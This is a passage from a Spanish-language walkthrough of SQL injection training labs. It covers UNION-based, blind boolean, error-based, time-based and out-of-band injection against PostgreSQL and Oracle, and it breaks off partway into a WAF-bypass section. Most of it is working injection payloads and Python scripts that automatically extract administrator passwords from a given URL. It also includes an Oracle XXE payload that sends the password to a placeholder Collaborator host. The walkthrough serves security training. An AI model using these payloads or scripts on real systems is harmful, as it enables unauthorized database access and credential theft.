<figure><img src="/files/JrWOvBppqL3ccjmvl0x7" alt=""><figcaption><p>ORDER BY Payload 01</p></figcaption></figure>

<figure><img src="/files/sJibhHpiectXAGoY7QSp" alt=""><figcaption><p>ORDER BY Payload 02</p></figcaption></figure>

<figure><img src="/files/c3QDCNeHsR2p0SGbP1qk" alt=""><figcaption><p>ORDER BY Payload 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
```

<figure><img src="/files/vo17N49ux3ATUYJ6Zcsz" alt=""><figcaption><p>UNION Payload 01</p></figcaption></figure>

<figure><img src="/files/4vqmhWSKPrEYYMzGNmfu" alt=""><figcaption><p>UNION Payload 02</p></figcaption></figure>

Con el siguiente payload obtenemos la versión de la DB:

```
' UNION SELECT NULL, version()-- -
```

<figure><img src="/files/P5o7Uz7MoROkI4y8pElm" alt=""><figcaption><p>Versión de la DB</p></figcaption></figure>

Ahora, obtenemos las tablas de la DB:

```
' UNION SELECT NULL, table_name FROM information_schema.tables-- -
```

> [Referencia](https://www.postgresql.org/docs/current/information-schema.html).

<figure><img src="/files/gLUP6DyuBY95p2VoqGPe" alt=""><figcaption><p>table_name</p></figcaption></figure>

Sabemos que el nombre de la tabla que contiene los usuarios es `users_vvdspp`, por lo tanto, podemos obtener las columnas de esta tabla:

```
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users_vvdspp'-- -
```

<figure><img src="/files/PFIVO6pBSHs4MaHuGlF0" alt=""><figcaption><p>column_name</p></figcaption></figure>

Con estos datos, podemos extraer la información que necesitamos:

```
' UNION SELECT username_aoessn, password_hwpmpd FROM users_vvdspp-- -
```

<figure><img src="/files/VUqgAruTA6LsGBxKvAfb" alt=""><figcaption><p>Dump username y password</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def perform_request(url, sql_payload):
    uri = '/filter?category='
    r = requests.get(url + uri + sql_payload, verify=False)
    return r.text

def sqli_users_table(url):
    sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+information_schema.tables--+-"

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    db_tables = soup.find(string=re.compile('.*users.*'))
    if db_tables:
        return db_tables
    else:
        return False

def sqli_users_columns(url, users_table):
    sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+information_schema.columns+WHERE+table_name+=+'%s'--+-" %(users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    username_column = soup.find(string=re.compile('.*username.*'))
    password_column = soup.find(string=re.compile('.*password.*'))
    if username_column and password_column:
        return username_column, password_column
    else:
        return False

def sqli_administrator_cred(url, users_table, username_column, password_column):
    sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
    if admin_cred:
        return admin_cred
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Looking for users table...')
    users_table = sqli_users_table(url)
    if users_table:
        print('[+] User table name: %s' %(users_table))

        username_column, password_column = sqli_users_columns(url, users_table)
        if username_column and password_column:
            print('[+] Username column name: %s' %(username_column))
            print('[+] Password column name: %s' %(password_column))

            admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
            if admin_password:
                print('[+] Cred: "administrator:%s"' %(admin_password))
            else:
                print('[-] Did not find the administrator password.')
        else:
            print('[-] Did not find the username and/or password columns.')
    else:
        print('[-] Did not find a users table.')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/5BFZeQbONQvsln98qLnX" alt=""><figcaption><p>script</p></figcaption></figure>

## Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.

Si modificamos la categoría con una comilla simple (`'`), se nos muestra el siguiente error:

<figure><img src="/files/neEJNZpiuYPfiVAJvB1i" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/wU5P3uu8R5COMiUkhRTM" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Debemos determinar la cantidad de columnas, esto lo podemos usar con `ORDER BY`:

* Payloads:

```
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
```

<figure><img src="/files/YfDzGx7XoTXn7EeiMCwf" alt=""><figcaption><p>ORDER BY Payload 01</p></figcaption></figure>

<figure><img src="/files/B3IOhwmbk10mvfPnMzNG" alt=""><figcaption><p>ORDER BY Payload 02</p></figcaption></figure>

<figure><img src="/files/3QCAell6O43KX7FBKrlc" alt=""><figcaption><p>ORDER BY Payload 03</p></figcaption></figure>

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

```
' UNION SELECT 'a', NULL FROM DUAL-- -
' UNION SELECT NULL, 'a' FROM DUAL-- -
```

<figure><img src="/files/ItEacdrb9JC29be3QgjJ" alt=""><figcaption><p>UNION Payload 01</p></figcaption></figure>

<figure><img src="/files/YLy2qd2BoErswXhkJo86" alt=""><figcaption><p>UNION Payload 02</p></figcaption></figure>

Con el siguiente payload obtenemos las tablas de la DB:

```
' UNION SELECT NULL, table_name FROM all_tables-- -
```

> [Referencia](https://docs.oracle.com/en/database/oracle/oracle-database/19/refrn/ALL_TABLES.html).

<figure><img src="/files/u8zStel1bjQNiYo6qfpd" alt=""><figcaption><p>table_name</p></figcaption></figure>

Sabemos que el nombre de la tabla que contiene los usuarios es `USERS_YHDUDN`, por lo tanto, podemos obtener las columnas de esta tabla:

```
' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_YHDUDN'-- -
```

> [Referencia](https://docs.oracle.com/en/database/oracle/oracle-database/12.2/refrn/ALL_TAB_COLUMNS.html).

<figure><img src="/files/UZkc9B5afAsoqea8d4uh" alt=""><figcaption><p>column_name</p></figcaption></figure>

Con estos datos, podemos extraer la información que necesitamos:

```
' UNION SELECT USERNAME_KCUFMJ, PASSWORD_IPBYMR FROM USERS_YHDUDN-- -
```

<figure><img src="/files/6PZPxxYl6EOqDv9Ir5Js" alt=""><figcaption><p>Dump username y password</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def perform_request(url, sql_payload):
    uri = '/filter?category='
    r = requests.get(url + uri + sql_payload, verify=False)
    return r.text

def sqli_users_table(url):
    sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+all_tables--+-"

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    db_tables = soup.find(string=re.compile('^USERS\_.*'))
    if db_tables:
        return db_tables
    else:
        return False

def sqli_users_columns(url, users_table):
    sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+all_tab_columns+WHERE+table_name+=+'%s'--+-" %(users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    username_column = soup.find(string=re.compile('.*USERNAME.*'))
    password_column = soup.find(string=re.compile('.*PASSWORD.*'))
    if username_column and password_column:
        return username_column, password_column
    else:
        return False

def sqli_administrator_cred(url, users_table, username_column, password_column):
    sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
    if admin_cred:
        return admin_cred
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Looking for users table...')
    users_table = sqli_users_table(url)
    if users_table:
        print('[+] User table name: %s' %(users_table))

        username_column, password_column = sqli_users_columns(url, users_table)
        if username_column and password_column:
            print('[+] Username column name: %s' %(username_column))
            print('[+] Password column name: %s' %(password_column))

            admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
            if admin_password:
                print('[+] Cred: "administrator:%s"' %(admin_password))
            else:
                print('[-] Did not find the administrator password.')
        else:
            print('[-] Did not find the username and/or password columns.')
    else:
        print('[-] Did not find a users table.')

if __name__ == '__main__':
    main()
```

<figure><img src="/files/3dyDjc54loC790LPsfah" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de Blind SQLi con respuestas condicionales

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, y no muestra un mensaje de error, pero, la aplicación incluye un mensaje `Welcome back` en la página si la query retorna alguna fila.

Debemos obtener el usuario y contraseña del usuario `administrator`, el cual, se encuentra en la tabla `users`.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingID` y `session`:

<figure><img src="/files/oyFiATVZ5opmbSkE76mZ" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Ingresamos una comilla simple en el valor de la cookie `TrackingID` para validar si nos presenta un error:

```
TrackingID=aaaaaaaaaaa'
```

<figure><img src="/files/Tqsj4gYJA59JOzGmHpMt" alt=""><figcaption><p>Site</p></figcaption></figure>

<figure><img src="/files/3JBDZxAlTzuXcXustKSS" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

Ahora, validamos como se comporta con un payload condicional:

```
TrackingID=aaaaaaaaaaa'+and+1=1--+-
TrackingID=aaaaaaaaaaa'+and+1=2--+-
```

Cuando el condicional es `TRUE`, vemos el mensaje `Welcome back`:<br>

<figure><img src="/files/4qvijSuoVZJP0cEdQQjm" alt=""><figcaption><p>Payload TRUE</p></figcaption></figure>

<figure><img src="/files/46PRl6jhwcggLMOZQUi2" alt=""><figcaption><p>Payload FALSE</p></figcaption></figure>

Validamos que existe la tabla `users`:

```
TrackingID=aaaaaaaaaaa' AND (SELECT 'x' FROM users LIMIT 1)='x'-- -
```

<figure><img src="/files/jIn76cWrvm1hWaxLD5rG" alt=""><figcaption><p>Validación de la tabla users</p></figcaption></figure>

Podemos usar los siguientes payloads para corroborar que exista el usuario administrator:

```
TrackingID=aaaaaaaaaaa' AND (SELECT username FROM users WHERE username='administrator')='administrator'-- -
```

<figure><img src="/files/xmQqUvKLq1Wp37sGOBLi" alt=""><figcaption><p>Validación de que el usuario administrator exista</p></figcaption></figure>

Si queremos saber la longitud de la password, podemos usar el siguiente payload, el cual, si nos responde con un `Welcome back`, es la longitud que tiene esta:

```
TrackingID=aaaaaaaaaaa' AND (SELECT username FROM users WHERE username='administrator' AND LENGTH(password)=30)='administrator'-- -
```

Para esto, usamos Intruder:

<figure><img src="/files/eX629kqLliTaOu1qEUq6" alt=""><figcaption><p>Intruder 01</p></figcaption></figure>

<figure><img src="/files/JPNSMlmpH2irwtVM7nkJ" alt=""><figcaption><p>Intruder 02</p></figcaption></figure>

<figure><img src="/files/45ui9Sv27X9B2HzZa9NL" alt=""><figcaption><p>Intruder 03</p></figcaption></figure>

<figure><img src="/files/awtFxIiVMkFacTeYXjwi" alt=""><figcaption><p>Intruder 04</p></figcaption></figure>

Ahora buscamos los carácteres de la password:

```
TrackingID=aaaaaaaaaaa' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'-- -
```

> En este caso, toma el primer carácter y lo iguala a lo que le indiquemos. Si queremos cambiar de carácter a validar, modificamos el primer número.

Esto lo automatizamos usando el ataque de Intruder Cluster bomb:

<figure><img src="/files/umK2TJzFsk85cFdeUT1u" alt=""><figcaption><p>Cluster bomb 01</p></figcaption></figure>

<figure><img src="/files/GsTb0f8pd4GmjqenE2WB" alt=""><figcaption><p>Cluster bomb 02</p></figcaption></figure>

<figure><img src="/files/Y7DXMtn4TeBAVM86YWbj" alt=""><figcaption><p>Cluster bomb 03</p></figcaption></figure>

<figure><img src="/files/Z5UDsOP1xcKi1VhkaAVV" alt=""><figcaption><p>Cluster bomb 04</p></figcaption></figure>

<figure><img src="/files/s2IbSVaTJie0GXsokqdl" alt=""><figcaption><p>Cluster bomb 05</p></figcaption></figure>

Con el siguiente script, se puede obtener el mismo resultado:

```python
#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_password(url, trackingid, session):
    password_extrated = ""

    for i in range(1, 21):
        # The values 32 - 126 are ASCII characters
        for j in range(32, 126):
            payload = "' AND (SELECT ASCII(SUBSTRING(password,%s,1)) FROM users WHERE username='administrator')='%s'-- -" %(i, j)
            payload = urllib.parse.quote(payload)
            c = {'TrackingId': trackingid + payload, 'session': session}
            r = requests.get(url, cookies=c, verify=False)

            if "Welcome back" not in r.text:
                sys.stdout.write('\r' + password_extrated + chr(j))
                sys.stdout.flush()
            else:
                password_extrated += chr(j)
                sys.stdout.write('\r' + password_extrated)
                sys.stdout.flush()
                break

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Retrieving administrator password...')
    
    sqli_password(url, trackingid, session)

if __name__ == '__main__':
    main()
```

<figure><img src="/files/uBDltJeJiqh6y7rBJpfv" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de Blind SQLi con errores condicionales

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, y solo se muestra un error modificado cuando la query causa alguno.

Debemos obtener el usuario y contraseña del usuario `administrator`, el cual, se encuentra en la tabla `users`.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingId` y `session`:

<figure><img src="/files/Nb41gWed7Q78JDvo47ZQ" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Si agregamos una comilla simple, vemos un error, mientras que al agregar una segunda, este ya no se muestra:

<figure><img src="/files/jEcc52UlkZEIdHGS9dtq" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

<figure><img src="/files/CHcebNMLQpKMz0ujnjs3" alt=""><figcaption><p>Payload 02</p></figcaption></figure>

Validamos si concatenando el siguiente payload, se presenta el error:

```
' || (select '') || '
```

<figure><img src="/files/MQRkqRwww9MPXUtFDLit" alt=""><figcaption><p>Payload 03</p></figcaption></figure>

Vemos que se presenta un error en una query bien formada, por lo tanto, podemos asumir que es una DB Oracle. Por este motivo, usamos el siguiente payload:

```
' || (select '' from dual) || '
```

<figure><img src="/files/5Y129muim76x45XoP4EO" alt=""><figcaption><p>Paylod 04</p></figcaption></figure>

Con esto identificamos que es una DB Oracle.

Ahora, validamos que la tabla `users` exista en la DB:

```
' || (select '' from users) || '
```

<figure><img src="/files/eniwocRy9fATGJWGfjCu" alt=""><figcaption><p>Payload 05</p></figcaption></figure>

Se presenta un error, y esto se puede deber a que estamos pasando un input vacío, y este se puede esta aplicando a las distintas filas de la tabla, por lo tanto, modificamos el payload para que solo valide solo una entrada:

```
' || (select '' from users where rownum =1) || '
```

<figure><img src="/files/uQIDzvTqMv8E5lICuJEg" alt=""><figcaption><p>Payload 06</p></figcaption></figure>

Sabemos que existe la tabla, ahora corroboramos que exista el usuario `administrator`:

```
' || (select '' from users where username='administrator') || '
```

<figure><img src="/files/kVG97hgeqee8VtZBf15l" alt=""><figcaption><p>Payload 07</p></figcaption></figure>

Como no se presenta un error, sabemos que existe el usuario.

Lo anterior lo podemos obtener usando un payload más complejo, en el cual, se valida la sección del `FROM`, donde, si el usuario a validar existe, realiza lo que se indica en `CASE`. Si nos muestra un error, significa que el usuario existe, de lo contrario, no existe:

```
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') || '
```

<figure><img src="/files/unAWUix6ec6pE6AU4lQj" alt=""><figcaption><p>Payload 08</p></figcaption></figure>

```
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='asdasdasdasd') || '
```

<figure><img src="/files/WTvi7xN0HaUXSCNFTkt0" alt=""><figcaption><p>Payload 09</p></figcaption></figure>

Ya que sabemos que el usuario existe, ahora obtenemos el largo de su contraseña:

```
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)=1) || '
```

<figure><img src="/files/iGN7bZ1w66c6IS2p5JTH" alt=""><figcaption><p>Intruder 01</p></figcaption></figure>

<figure><img src="/files/abDYJSzLLLlC57nJCVCv" alt=""><figcaption><p>Intruder 02</p></figcaption></figure>

<figure><img src="/files/ggdGMTjdPo4agqX1o5Vz" alt=""><figcaption><p>Intruder 03</p></figcaption></figure>

La contraseña del usuario `administrator` es de 20 carácteres.

Ahora enumeramos la contraseña:

```
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and substr(password,1,1)='a') || '
```

<figure><img src="/files/Gfz8lmG4nHXtlJS2ejRc" alt=""><figcaption><p>Intruder 04</p></figcaption></figure>

<figure><img src="/files/tUaPLYY8GCdcmWes0Nlr" alt=""><figcaption><p>Intruder 05</p></figcaption></figure>

<figure><img src="/files/BzMpHQlGnhdTgHteeZr8" alt=""><figcaption><p>Intruder 06</p></figcaption></figure>

<figure><img src="/files/lC4zBa4wS36r9SJOi9fx" alt=""><figcaption><p>Intruder 07</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_password(url, trackingid, session):
    password_extrated = ""

    for i in range(1, 21):
        # The values 32 - 126 are ASCII characters
        for j in range(32, 126):
            payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" %(i, j)
            payload = urllib.parse.quote(payload)
            c = {'TrackingId': trackingid + payload, 'session': session}
            r = requests.get(url, cookies=c, verify=False)

            if r.status_code == 500:
                password_extrated += chr(j)
                sys.stdout.write('\r' + password_extrated)
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('\r' + password_extrated + chr(j))
                sys.stdout.flush()

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Retrieving administrator password...')
    
    sqli_password(url, trackingid, session)

if __name__ == '__main__':
    main()
```

<figure><img src="/files/pIESZGXIhknBXBZsFjkL" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de Blind SQLi con tiempos de delay

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.

Para resolver el laboratorio, se debe causar un delay de 10 segundos.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingId` y `session`:

<figure><img src="/files/Vg0ObjRrVq9w7qjRuD58" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Inyectamos una comilla simple para validar que sucede con la aplicación:

<figure><img src="/files/whEiecGvu6QBdKmhIeqZ" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

No presenta errores, por lo tanto, validamos con los siguientes payloads para ver cual tarda 10 segundos en responder:

```
' || (SELECT SLEEP(10))-- -
' || (SELECT pg_sleep(10))-- -
' || (WAITFOR DELAY '0:0:10')-- -
' || (dbms_pipe.receive_message(('a'),10))-- -
```

<figure><img src="/files/ep7RGeUEtbv3WaM18xnk" alt=""><figcaption><p>Payload 02</p></figcaption></figure>

<figure><img src="/files/8YffeDtBnSZOmLd0kNRM" alt=""><figcaption><p>Payload 03</p></figcaption></figure>

Vemos que es una DB PostgreSQL.

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_time_check(url, trackingid, session):
    payload = "' || (SELECT pg_sleep(10))-- -"
    payload = urllib.parse.quote(payload)
    c = {'TrackingId': trackingid + payload, 'session': session}
    r = requests.get(url, cookies=c, verify=False)
    response_time = r.elapsed.total_seconds()

    if int(response_time) >= 10:
        print('[+] Vulnerable to Blind-based SQLi, response time: %s' %(response_time))
    else:
        print('[-] Not vulnerable to Blind-based SQLi.')

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Checking if tracking cookie is vulnerable to time-based Blidn SQLi...')
    
    sqli_time_check(url, trackingid, session)

if __name__ == '__main__':
    main()
```

<figure><img src="/files/PmwSqruc8Jn4sx731jvz" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de Blind SQLi con tiempos de delay y obtención de información

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.

Debemos obtener el usuario y contraseña del usuario `administrator`, el cual, se encuentra en la tabla `users`.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingId` y `session`:

<figure><img src="/files/q899J1mp5n9f99CvxY4l" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Validamos que la cookie es vulnerable:

```
' || pg_sleep(5) -- -
```

* Tiempo con payload:

<figure><img src="/files/PMrOhrBXTxVVcukvbPud" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

* Tiempo sin payload:

<figure><img src="/files/KfDatb8YBk3BPB9vAktl" alt=""><figcaption><p>Payload 02</p></figcaption></figure>

Confirmamos si existe tabla `users` en la DB:

```
' || (select case when (1=1) then pg_sleep(5) else pg_sleep(-1) end)-- -
```

<figure><img src="/files/r3ToNh5JSiZmH8YCHhtP" alt=""><figcaption><p>Payload 03</p></figcaption></figure>

Corroboramos que la tabla tenga el usuario `administrator`:

```
' || (select case when (username='administrator') then pg_sleep(5) else pg_sleep(-1) end from users)-- -
```

<figure><img src="/files/RlAGpmONjCufuamj1OfQ" alt=""><figcaption><p>Payload 04</p></figcaption></figure>

Enumeramos la longitud de la password:

```
' || (select case when (username='administrator' and LENGTH(password)=1) then pg_sleep(5) else pg_sleep(-1) end from users)-- -
```

> Para evitar errores, es necesario usar un hilo a la vez.

<figure><img src="/files/rFRo7bAkpQ65R0QvmSFZ" alt=""><figcaption><p>Intruder 01</p></figcaption></figure>

<figure><img src="/files/k8zILoo2dN421UyYP5Kk" alt=""><figcaption><p>Intruder 02</p></figcaption></figure>

<figure><img src="/files/FolGJUQIjlk78fblXgXf" alt=""><figcaption><p>Intruder 03</p></figcaption></figure>

<figure><img src="/files/acOwM7Mvi41CCmzPlPBH" alt=""><figcaption><p>Intruder 04</p></figcaption></figure>

Ahora, enumeramos la password del usuario `administrator`:

```
' || (select case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(5) else pg_sleep(-1) end from users)-- -
```

<figure><img src="/files/TtxDwJKnL1wKD0O99y7S" alt=""><figcaption><p>Intruder 05</p></figcaption></figure>

<figure><img src="/files/hhNWvc9I6d98Phk9YoYI" alt=""><figcaption><p>Intruder 06</p></figcaption></figure>

<figure><img src="/files/RfzKorYqz0a880TG16IW" alt=""><figcaption><p>Intruder 07</p></figcaption></figure>

<figure><img src="/files/Z138cEp4xuege95QQFXS" alt=""><figcaption><p>Intruder 08</p></figcaption></figure>

<figure><img src="/files/P41rrfdWrCSL80B2q50d" alt=""><figcaption><p>Intruder 09</p></figcaption></figure>

Esto lo podemos automatizar usando el siguiente script:

```python
#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_time_check(url, trackingid, session):
    
    payload = "' || (SELECT pg_sleep(10))-- -"
    payload = urllib.parse.quote(payload)
    c = {'TrackingId': trackingid + payload, 'session': session}
    r = requests.get(url, cookies=c, verify=False)
    response_time = r.elapsed.total_seconds()

    if int(response_time) >= 5:
        print('[+] Vulnerable to Blind-based SQLi, response time: %s' %(response_time))
    else:
        print('[-] Not vulnerable to Blind-based SQLi.')

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Checking if tracking cookie is vulnerable to time-based Blidn SQLi...')
    
    sqli_time_check(url, trackingid, session)

if __name__ == '__main__':
    main()
```

<figure><img src="/files/jxYxC9phi1iBNHpFKEts" alt=""><figcaption><p>Script</p></figcaption></figure>

## Ataque de Blind SQLi con interacción fuera de banda

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.

Para esto, se debe lograr que se realice un lookup DNS a Burp Collaborator.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingId` y `session`:

<figure><img src="/files/xDWSpNAEK4sFaWyIc3Kn" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Abrimos el cliente de Collaborator, y copiamos el dominio a usar:

<figure><img src="/files/lHFMwENchl7g9U4ksf8z" alt=""><figcaption><p>Collaborator 01</p></figcaption></figure>

<figure><img src="/files/jjShX77yZQc3wqxfzXlW" alt=""><figcaption><p>Collaborator 02</p></figcaption></figure>

<figure><img src="/files/2avpe3R5hZni8DkPPNqq" alt=""><figcaption><p>Collaborator 03</p></figcaption></figure>

Usamos el siguiente payload para hacer el lookup DNS:

```
# Oracle no parchado
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -
```

<figure><img src="/files/7tTUMg5bqLEisbg1oRWL" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

<figure><img src="/files/jHqYqp54HyN2c4155F5A" alt=""><figcaption><p>Collaborator 04</p></figcaption></figure>

## Ataque de Blind SQLi con exfiltración de datos fuera de banda

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.

Para esto, se debe obtener la password del usuario `administrator`, que se encuentra en la tabla `users`.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies `TrackingId` y `session`:

<figure><img src="/files/Lv29cEzsPmwRFyMKc60r" alt=""><figcaption><p>Cookies</p></figcaption></figure>

Abrimos el cliente de Collaborator, y copiamos el dominio a usar:

<figure><img src="/files/39v9jWBn7vd2ZPLYySMB" alt=""><figcaption><p>Collaborator 01</p></figcaption></figure>

<figure><img src="/files/RCbB5PUeyvu9a5xjou0A" alt=""><figcaption><p>Collaborator 02</p></figcaption></figure>

<figure><img src="/files/BbCr2EaitDNkbcFBOQ9W" alt=""><figcaption><p>Collaborator 03</p></figcaption></figure>

Usamos el siguiente payload para exfiltrar los datos solicitados:

```
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users where username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -
```

<figure><img src="/files/8tBRZEAyEBHs3YJnJbod" alt=""><figcaption><p>Payload 01</p></figcaption></figure>

<figure><img src="/files/TBQBvZiizXfmFPRn3Tiv" alt=""><figcaption><p>Collaborator 04</p></figcaption></figure>

<figure><img src="/files/MfFG9RYwUeFqCrzejQYi" alt=""><figcaption><p>Login</p></figcaption></figure>

<figure><img src="/files/Am8s17pzdCirW1WOQyRl" alt=""><figcaption><p>Administrator account</p></figcaption></figure>

## Ataque de SQLi con bypass de filtros a través de codificación XML

Se tiene una aplicación con una vulnerabilidad de SQLi en la característica de validación de stock. El resultado de la query es devuelta en la respuesta de la aplicación.

Para esto, se debe obtener la password del usuario `admin`, que se encuentra en la tabla `users`.

Dentro de las recomendaciones, se indica que el WAF bloqueará ciertos ataques, y por esto, usar la extensión [Hackvertos](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100).

Vemos que al seleccionar un producto, aparece un botón que permite validar el stock de este:

